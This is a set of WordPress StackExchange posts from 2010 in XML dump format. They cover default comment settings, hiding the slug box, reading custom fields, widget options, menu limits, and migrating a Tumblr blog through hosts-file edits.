  <row Id="2082" PostTypeId="2" ParentId="2040" CreationDate="2010-09-22T06:38:26.307" Score="5" ViewCount="" Body="&lt;p&gt;From what I understand, you want to set pages and some custom post types to have commenting 'off' by default, while posts will still use the default option (i.e. commenting 'on'). If this is the case, the following function will do it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function default_comments_off( $data ) {&#xA;    if( $data['post_type'] == 'page' &amp;amp;&amp;amp; $data['post_status'] == 'auto-draft' ) {&#xA;        $data['comment_status'] = 0;&#xA;    }&#xA;&#xA;    return $data;&#xA;}&#xA;add_filter( 'wp_insert_post_data', 'default_comments_off' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-22T06:38:26.307" CommentCount="9" />
  <row Id="2083" PostTypeId="1" AcceptedAnswerId="2087" CreationDate="2010-09-22T06:53:40.907" Score="2" ViewCount="101" Body="&lt;p&gt;When creating custom page templates, how do I get the value of a custom field of the displayed page?&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2010-09-22T07:44:56.310" Title="How do I read the value of a custom field of the page?" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;page-template&gt;" AnswerCount="2" />
  <row Id="2084" PostTypeId="2" ParentId="2080" CreationDate="2010-09-22T07:24:56.663" Score="0" ViewCount="" Body="&lt;p&gt;There is actually no easy solution for this problem, and WordPress, out of the box, provides no way to move from development to production without manually editing the database. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to look at this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&lt;/a&gt; where several ways to do it are discussed.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-22T07:24:56.663" />
  <row Id="2085" PostTypeId="2" ParentId="2025" CreationDate="2010-09-22T07:31:41.970" Score="2" ViewCount="" Body="&lt;p&gt;The box which allows slug edition under the post title is actually tied to the slug metabox. It needs it to work. So, removing the metabox will break it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution, I think, would be to use javascript or css to hide it. Something like this will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hide_slug_box() {&#xA;    global $post;&#xA;    global $pagenow;&#xA;    if (is_admin() &amp;amp;&amp;amp; $pagenow=='post-new.php' OR $pagenow=='post.php') {&#xA;        echo &quot;&amp;lt;script type='text/javascript'&amp;gt;&#xA;            jQuery(document).ready(function($) {&#xA;                jQuery('#edit-slug-box').hide();&#xA;            });&#xA;            &amp;lt;/script&amp;gt;&#xA;        &quot;;&#xA;    }&#xA;}&#xA;add_action( 'admin_head', 'hide_slug_box'  );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-09-30T05:48:26.910" LastActivityDate="2010-09-30T05:48:26.910" CommentCount="4" />
  <row Id="2086" PostTypeId="2" ParentId="1058" CreationDate="2010-09-22T07:31:57.600" Score="2" ViewCount="" Body="&lt;p&gt;I thought I would add some code here that solved a related problem of mine. In my case I am trying to get JavaScript and css to load only on Pages and Posts and (edit and create) and no where else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had found a workable solution using &lt;code&gt;basename( $_SERVER[ 'SCRIPT_FILENAME' ] )&lt;/code&gt; to determine where on the backend I was. I was concerned though as the availability of &lt;code&gt;$_SERVER[ 'SCRIPT_FILENAME' ]&lt;/code&gt; might vary server to server (anyone know how likely it is for &lt;code&gt;$_SERVER[ 'SCRIPT_FILENAME' ]&lt;/code&gt; to not be available on a server?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I came across this question and MikeSchinkel answer. With a little modification I made it work for me except for one thing. It seems that for whatever reason when a new post is created via &quot;Add New&quot; it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the following tweaks I did get it to work and I am sharing it here in the hopes of helping others and of improving it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_init','imp_add_admin_scripts' );&#xA;&#xA;function imp_add_admin_scripts() {&#xA;&#xA; $urljs = get_bloginfo( 'template_directory' ).IMP_JS;&#xA; $urlcss =get_bloginfo( 'template_directory' ).IMP_STYLES;&#xA;&#xA; // Register our scripts&#xA; wp_register_script('imp_jquerytools', $urljs.'jquery/imp_tabs_jquery.tools.min.js' );&#xA; wp_register_style( 'rpanel-css', $urlcss.'impoweradmin.css' );&#xA;&#xA;&#xA; global $pagenow, $typenow;&#xA; if ( empty( $typenow ) &amp;amp;&amp;amp; !empty( $_GET['post'] ) ) {&#xA;  $post = get_post( $_GET['post'] );&#xA;  $typenow = $post-&amp;gt;post_type;&#xA; } elseif ( empty( $typenow ) &amp;amp;&amp;amp; ( $pagenow == 'post-new.php' ) ){ &#xA;  $typenow = 'post';&#xA; }&#xA;&#xA; if ( is_admin() &amp;amp;&amp;amp; ( ( $typenow == 'page') || ( $typenow == 'post') ) ){&#xA;&#xA;  if ( $pagenow == 'post-new.php' OR $pagenow == 'post.php' ) {&#xA;&#xA;   wp_enqueue_script( 'imp_jquerytools' );&#xA;   wp_enqueue_style( 'rpanel-css' );&#xA;&#xA;  }&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next I am trying to limit some scripts to my theme options page, which can't be done based on $pagenow as the the url that comes up is admin.php?page=themeoptions and I don't want the scripts on every admin.php page, only on that specific page (my theme options page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how this might best be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to answer my own question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( is_admin() &amp;amp;&amp;amp; ( $_GET['page'] == 'themeoptions' ) ){&#xA;  wp_enqueue_script( 'my-script' );&#xA;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditorDisplayName="" LastEditDate="2010-09-22T08:16:22.737" LastActivityDate="2010-09-22T08:16:22.737" />
  <row Id="2087" PostTypeId="2" ParentId="2083" CreationDate="2010-09-22T07:34:59.013" Score="2" ViewCount="" Body="&lt;p&gt;Use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;get_post_meta&lt;/a&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-22T07:34:59.013" />
  <row Id="2088" PostTypeId="2" ParentId="2083" CreationDate="2010-09-22T07:44:56.310" Score="6" ViewCount="" Body="&lt;h2&gt;WordPress Custom Fields&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress custom fields contain a key and a value.  To get both &lt;code&gt;&amp;lt;?php the_meta(); ?&amp;gt;&lt;/code&gt; will return &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class='post-meta'&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;span class='post-meta-key'&amp;gt;your_key:&amp;lt;/span&amp;gt; your_value&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To return a value stored for a specific key use:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php get_post_custom_values('my_key', $post_id); ?&amp;gt;&lt;/code&gt;**&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If a post contained more than 1 value for the same key you can use a foreach loop to output all of them i an array:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;  $mykey_values = get_post_custom_values('my_key');&#xA;  foreach ( $mykey_values as $key =&amp;gt; $value ) {&#xA;    echo &quot;$key  =&amp;gt; $value &amp;lt;br /&amp;gt;&quot;; &#xA;  }  &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This will return:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 =&amp;gt; First value &#xA;1 =&amp;gt; Second value&#xA;2 =&amp;gt; Third value &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To return an array of keys within all custom fields use:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_post_custom_keys($post_id); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Adding custom fields to a post:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/7voOy.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-22T07:44:56.310" />
  <row Id="2089" PostTypeId="2" ParentId="763" CreationDate="2010-09-22T07:50:29.147" Score="-1" ViewCount="" Body="&lt;p&gt;For some reason this wouldn't let me add a comment. I am interested in this exact type of plugin, and I've been trying to work with GD Star Ratings all day. If anyone is interested, there are a number of hooks and filters. &lt;a href=&quot;http://info.dev4press.com/gd-star-rating/filters.html&quot; rel=&quot;nofollow&quot;&gt;http://info.dev4press.com/gd-star-rating/filters.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It basically has all the functionality that I am looking for, but like Mike said, nearly impossible to use and understand. On top of that, there is only premium support available, and that isn't cheap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scott - Were you ever able to find a solution? Did you discuss Mike's implementation with him?&lt;/p&gt;&#xA;" OwnerUserId="472" LastActivityDate="2010-09-22T07:50:29.147" />
  <row Id="2090" PostTypeId="1" AcceptedAnswerId="2093" CreationDate="2010-09-22T08:14:42.120" Score="2" ViewCount="221" Body="&lt;p&gt;I was wondering whether there's a common way of customising the aspect of the admin panel.&#xA;I know you can play with the css and js files but what I was looking for is some kind of &quot;admin theme&quot; like with drupal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´m asking so that you can personalize the admin panel while keeping your WP easily updateable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="971" LastActivityDate="2010-09-22T09:26:46.233" Title="Any official way to create an admin theme?" Tags="&lt;themes&gt;&lt;theme-development&gt;&lt;custom-menus&gt;&lt;customization&gt;&lt;admin&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="2091" PostTypeId="1" CreationDate="2010-09-22T08:19:43.617" Score="2" ViewCount="268" Body="&lt;p&gt;I want to save some parameters in the widget options which are then passed into another page.&#xA;The widget is a form which calls a webservice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The options I want to pass are the authentication for the webservice which is currently hard coded into the results page (done as a template). Therefore they should be hidden from the website user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code from the widget/plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function widget($args, $instance){&#xA;  extract($args);&#xA;  $title = apply_filters('widget_title', empty($instance['title']) ? 'Choose a service' : $instance['title']);&#xA;  $lineOne = empty($instance['username']) ? '' : $instance['username'];&#xA;  $lineTwo = empty($instance['password']) ? '' : $instance['password'];&#xA;&#xA;  # Before the widget&#xA;&#xA;  echo $before_widget; // etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Results page...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = &quot;http://www.nhs.uk/NHSCWS/Services/ServicesSearch.aspx?user=&quot;.[USERNAME].&quot;&amp;amp;pwd=&quot;.[PASSWORD].&quot;&amp;amp;q=&quot;.$_POST['PostCode'].&quot;&amp;amp;type=&quot;.$_POST['ServiceType'].&quot;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still learning how WP hangs together, so sorry for the n00b question.&lt;/p&gt;&#xA;" OwnerUserId="970" LastActivityDate="2011-05-26T22:23:48.970" Title="Using widget options 'outside' the widget" Tags="&lt;options&gt;&lt;widgets&gt;" AnswerCount="4" />
  <row Id="2092" PostTypeId="2" ParentId="2091" CreationDate="2010-09-22T08:51:51.857" Score="1" ViewCount="" Body="&lt;p&gt;Not a noob question at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to dip into MySQL (using PhpMyAdmin or similar) and get the name of the option first. The following SQL will list the widget options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT *&#xA;FROM `wp_options`&#xA;WHERE `option_name`&#xA;REGEXP '^widget_'&#xA;LIMIT 0 , 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your template (or post/page with some sort of php exec plugin) you can &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_option&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_option()&lt;/code&gt;&lt;/a&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_option('your_widget_option_name'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Et voila!&lt;/p&gt;&#xA;" OwnerUserId="562" LastActivityDate="2010-09-22T08:51:51.857" CommentCount="2" />
  <row Id="2093" PostTypeId="2" ParentId="2090" CreationDate="2010-09-22T09:26:46.233" Score="3" ViewCount="" Body="&lt;p&gt;There is currently no way to create admin themes like Drupal.&#xA;Here are some tips which cover most of the basic admin panel customization needs: &lt;a href=&quot;http://www.cmurrayconsulting.com/wordpress-tips/customizing-wordpress-admin/&quot; rel=&quot;nofollow&quot;&gt;http://www.cmurrayconsulting.com/wordpress-tips/customizing-wordpress-admin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-22T09:26:46.233" CommentCount="2" />
  <row Id="2094" PostTypeId="1" AcceptedAnswerId="2098" CreationDate="2010-09-22T10:42:19.743" Score="3" ViewCount="131" Body="&lt;p&gt;I wish to implement the wordpress 3 menus API in a client site, but the designs has restraint on the width of the top level menu items. How can I be sure the client won't exceed that limit?&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-23T14:41:59.523" LastActivityDate="2010-09-23T14:41:59.523" Title="Is there a way to limit the number of top level items in a custom menu?" Tags="&lt;custom-menus&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2095" PostTypeId="1" AcceptedAnswerId="2096" CreationDate="2010-09-22T10:55:31.183" Score="1" ViewCount="100" Body="&lt;p&gt;Internet Explorer will have errors with VB script files en-queued using wp_enqueue_script.  This is probably because the output of enqueue script set the script type to 'language/javascript'. Are there any solutions besides manually including the VB script with the theme?&lt;/p&gt;&#xA;" OwnerUserId="945" LastActivityDate="2010-09-22T11:21:59.133" Title="How do you enqueue a Visual Basic script using wp_enqueue_script?" Tags="&lt;wp-enqueue-script&gt;" AnswerCount="2" />
  <row Id="2096" PostTypeId="2" ParentId="2095" CreationDate="2010-09-22T11:21:14.003" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/class.wp-scripts.php#L70&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Script&lt;/code&gt; always adds &lt;code&gt;text/javascript&lt;/code&gt;&lt;/a&gt; to the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag, and applies no filter before it returns, there is not much you can do there. You could try to create a subclass of &lt;code&gt;WP_Scripts&lt;/code&gt; that has this functionality. If you change the global &lt;code&gt;$wp_scripts&lt;/code&gt; to your new class, this &lt;em&gt;might&lt;/em&gt; work.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-22T11:21:14.003" CommentCount="3" />
  <row Id="2097" PostTypeId="2" ParentId="2095" CreationDate="2010-09-22T11:21:59.133" Score="1" ViewCount="" Body="&lt;p&gt;Unfortunately script type is hardcoded in &lt;code&gt;WP_Scripts&lt;/code&gt; class. If you need extensive queue management for your VBS scripts you will have to extend that class and use own wrapper functions for VB separately.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-22T11:21:59.133" />
  <row Id="2098" PostTypeId="2" ParentId="2094" CreationDate="2010-09-22T11:25:59.267" Score="2" ViewCount="" Body="&lt;p&gt;The easiest way to accomplish this would be to filter &lt;code&gt;wp_nav_menu_items&lt;/code&gt; or more precisely &lt;code&gt;wp_nav_menu_{$menu-&amp;gt;slug}_items&lt;/code&gt; and cut extra items from output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would probably me more pretty and proper to limit/warn user in admin area, but at moment I have no remote idea where to start with that. I should learn up on admin side some time. :)&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-22T11:25:59.267" />
  <row Id="2099" PostTypeId="1" AcceptedAnswerId="2101" CreationDate="2010-09-22T12:12:08.257" Score="1" ViewCount="546" Body="&lt;p&gt;I have a category that ends with -2, and there's no way I can change it back to the plain word. I know there are problems with numeric slugs, but this is just a word. I also know that a common answer is to look in the trash, but there's no trash for categories as far as I'm aware&lt;/p&gt;&#xA;" OwnerUserId="976" LastActivityDate="2011-07-12T05:52:46.317" Title="Removing the number in a category slug" Tags="&lt;categories&gt;&lt;slug&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2100" PostTypeId="1" AcceptedAnswerId="2124" CreationDate="2010-09-22T13:18:30.600" Score="11" ViewCount="1238" Body="&lt;p&gt;I have a problem with WP database synchronization between development and production and I am wondering how other people solving it. I am aware about &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;this question&lt;/a&gt; but it doesn't really cover the nastier and more realistic use case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have a life WP website.  I took a dump of everything, replicating it on our dev environment. I started making changes. 1 week later I am ready to deploy my updates. In the meantime production has changed(new posts, new comments, etc.). How do I synchronize changes between production and development during the rollout and is it possible to automate(somewhat at least) this process?&lt;/p&gt;&#xA;" OwnerUserId="977" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-15T00:17:06.367" LastActivityDate="2011-08-22T01:06:07.503" Title="Database synchronization between dev/staging and production" Tags="&lt;3.0&gt;&lt;database&gt;&lt;development&gt;&lt;staging&gt;&lt;production&gt;" AnswerCount="4" FavoriteCount="7" />
  <row Id="2101" PostTypeId="2" ParentId="2099" CreationDate="2010-09-22T14:02:02.987" Score="3" ViewCount="" Body="&lt;p&gt;You probably have a tag with the same slug. You can't have any taxonomies with duplicate slugs. Either delete that other taxonomy, rename/change its slug, or change/rename this category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, it turns out you can do this, if you don't mind programming the fix or directly executing the SQL or messing with PHPMyAdmin. What you need to do is add a new row in &lt;code&gt;wp_term_taxonomy&lt;/code&gt; that uses the term with the slug you want to use as the &lt;code&gt;term_id&lt;/code&gt; and the new taxonomy (category in this case) as the &lt;code&gt;taxonomy&lt;/code&gt;. This is necessary because, if the slug already exists, WP creates a new term rather than using the same term with a different term_taxonomy relationship.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-09-22T15:32:09.453" LastActivityDate="2010-09-22T15:32:09.453" CommentCount="6" />
  <row Id="2102" PostTypeId="2" ParentId="2100" CreationDate="2010-09-22T14:21:33.723" Score="2" ViewCount="" Body="&lt;p&gt;If it's just more of the exact same type of data (some new blog posts, new comments) I'm not sure why you need to sync it really. It's not like it will change the way the code on the site works since it's just more of the same. I typically don't worry about it unless it's a new type of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just always make sure I have a good sample of the data for the site no every post, page, comment from the live site.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-09-22T14:21:33.723" CommentCount="2" />
  <row Id="2103" PostTypeId="2" ParentId="2080" CreationDate="2010-09-22T14:31:17.810" Score="1" ViewCount="" Body="&lt;p&gt;Our scenario is a little different, but has some similar characteristics. We're migrating a fairly large (500+ blogs, 14 or so domains) WordPress MU installation from a hosting provider to a new, client-hosted WordPress 3.0.1 installation. Here's our overall plan:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set up the new system at the client site.&lt;/li&gt;&#xA;&lt;li&gt;Use edited hosts files on the dev team's systems to point our dev systems to the new servers. Do all our dev and testing on these boxes.&lt;/li&gt;&#xA;&lt;li&gt;Perform the migration - in our case this is an overnight operation, and we'll be using the administrative message features in WP to communicate (after a brief downtime to snapshot the production database) that any changes made by authors/commenters/etc. after that point will be lost. Since it's a way off-hours thing, we don't anticipate lots of comments on the blog posts from front-end only users.&lt;/li&gt;&#xA;&lt;li&gt;Once we've migrated (and in our case, upgraded the database, etc.) and tested the new install, we'll publish the new DNS records.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want an after-action report, I can provide that sometime Friday (but not too early!).&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2010-09-22T14:31:17.810" />
  <row Id="2104" PostTypeId="2" ParentId="2080" CreationDate="2010-09-22T14:36:42.077" Score="0" ViewCount="" Body="&lt;p&gt;The super easy solution is to modify the hosts file on your workstation to point example.com to a different IP address. You can call up example.com in your browser and get the new server rather than the old, and see things just as you would if the change had propagated through DNS. This switch be simplified using a tool like &lt;a href=&quot;http://github.com/bjeanes/ghost&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ghost&lt;/code&gt;&lt;/a&gt;, but there are ways to do it on every platform via a &lt;a href=&quot;http://en.wikipedia.org/wiki/Hosts_(file)&quot; rel=&quot;nofollow&quot;&gt;hosts file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ghost&lt;/code&gt; way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;adam@compy:~$ ghost add example.com 10.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-22T14:36:42.077" />
  <row Id="2105" PostTypeId="1" CreationDate="2010-09-22T15:07:36.613" Score="1" ViewCount="75" Body="&lt;p&gt;I am creating a WordPress blog myself - downloading it and installing it myself - as well as buying a domain name and hosting it using something like &lt;code&gt;simplynames.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read somewhere though that you can't have adverts on a WordPress blog? Something to do with .org or .com - is this irrelevant if I am hosting elsewhere?? Thanks&lt;/p&gt;&#xA;" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-22T16:23:38.180" LastActivityDate="2010-09-22T16:41:35.060" Title="Ads Restricted on WordPress.com?" Tags="&lt;wordpress.com&gt;&lt;wordpress.org&gt;" AnswerCount="1" />
  <row Id="2106" PostTypeId="2" ParentId="2080" CreationDate="2010-09-22T15:07:49.057" Score="3" ViewCount="" Body="&lt;p&gt;As others have already mentioned, this can be a long process.  But it can also be relatively straightforward, and I've done this to migrate other non-WP sites to WordPress in the past.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Export your site&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;First things first, you'll need to export your site from Tumblr into a format WordPress can work with.  There are a few tutorials out there on how to do this, but also one great tool built specifically for this purpose called &lt;a href=&quot;http://haochen.me/tumblr/&quot; rel=&quot;nofollow&quot;&gt;Tumblr2WordPress&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also want to make backup copies of any images you're using, just in case they're lost during the export/import process.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Set up WordPress on a temporary domain&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Most hosting packages allow you to access your site from a temporary domain while in development.  Use this feature to set up your WordPress site and tweak all of the settings to be just the way you want them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then ...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Import your Tumblr site&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Once WordPress is up-and-running, import your old site and make sure everything is working the way you want it to.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Change the site URL&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Now that WordPress is running, we want to tell it the correct domain name to use.  So log in to your dashboard and go to Settings &amp;raquo; General.  Change both the site URL and blog URL to the values you want to use and click &quot;Save.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;This will temporarily break your site!!!  You will not be able to log back in until following the next steps!!!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Edit your &lt;code&gt;hosts&lt;/code&gt; file&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;On Windows, you can edit your &lt;code&gt;hosts&lt;/code&gt; file to redirect domains to different locations.  This will make it so, &lt;em&gt;on your machine only&lt;/em&gt;, your site will appear at &lt;code&gt;http://mysite.com&lt;/code&gt; even though it's actually at &lt;code&gt;http://temporarysubdomain.myhost.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://accs-net.com/hosts/how_to_use_hosts.html&quot; rel=&quot;nofollow&quot;&gt;Here's a quick tutorial&lt;/a&gt; good through Windows XP.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vlaurie.com/computers2/Articles/hosts.htm&quot; rel=&quot;nofollow&quot;&gt;Here's another&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Flush your DNS&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;From the command prompt (i.e. DOS), run the command &lt;code&gt;ipconfig /flushdns&lt;/code&gt;.  This will flush your DNS resolver cache and speed things along a bit.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Log back in to WordPress&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you've done things correctly, you should now be able to access your site at &lt;code&gt;http://mysite.com&lt;/code&gt; &lt;em&gt;from the computer with the edited &lt;code&gt;hosts&lt;/code&gt; file&lt;/em&gt;.  Log in and make sure the site is still displaying as it should.  Take a few minutes to edit any image URLs that broke in the transition and get things looking snazzy.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Point your domain&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Now that WordPress is installed, configured to work with your domain, and displaying your migrated Tumblr content, it's time to actually point the domain at WordPress.  Go back to your host and move the domain so it's pointing at the right location.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Reset your &lt;code&gt;hosts&lt;/code&gt; file&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Now that the domain is pointed, go back and un-do the changes you made to your &lt;code&gt;hosts&lt;/code&gt; file ... otherwise there's no way to know when the transition has been made (your system will always be pointing to the right site, even if the rest of the world isn't).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Crack open a beer and watch a football game&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Seriously.  DNS updates can take a while to propagate over the Internet, so don't expect your re-pointed domain to work immediately.  It might take 12 minutes.  It might take 12 hours.  This depends on your host and your ISP.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Go to your site domain&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Check in from time-to-time during the football game you're watching to see if it's been pointed correctly (I recommend commercials and time outs ... they're boring anyway).  Now that you're running with the default &lt;code&gt;hosts&lt;/code&gt; file, you should see the new site immediately when the DNS finally pushes through.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Viola!  You're done&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you've done all of the above steps correctly, you should be done.  The entire process can take anywhere from 15 minutes to several hours depending on how long it takes for your ISP's DNS cache to refresh.  I've used this process more than a dozen times on client sites and it works every time.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Some quick notes ...&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When your images are imported, they'll likely be stored with the URL &lt;code&gt;http://temporarysubdomain.myhost.com&lt;/code&gt; rather than &lt;code&gt;http://mysite.com&lt;/code&gt;.  You'll either need to create a server-side redirect to fix this, or manually edit your images.  Since you only have 25 posts this isn't a huge deal to do by hand, but there are ways to automate the process with SQL search-and-replace statements if you're looking for a shortcut.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Do not touch the GUID!&lt;/strong&gt;  I can't stress this enough.  The GUID stored in the database is a &quot;Globally Unique Identifier&quot; ... meaning it's unique for that specific page or asset, despite the domain you're on.  Yes, WordPress uses the site's URL to generate the GUID, but that doesn't actually mean anything.  It's just a static string that's not supposed to be used for anything except to identify the post as unique from others in the database.  Even though your imported posts will have your test domain as part of the GUID, &lt;strong&gt;do not change this&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As always, if you have any questions, feel free to ask.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-22T15:07:49.057" CommentCount="2" />
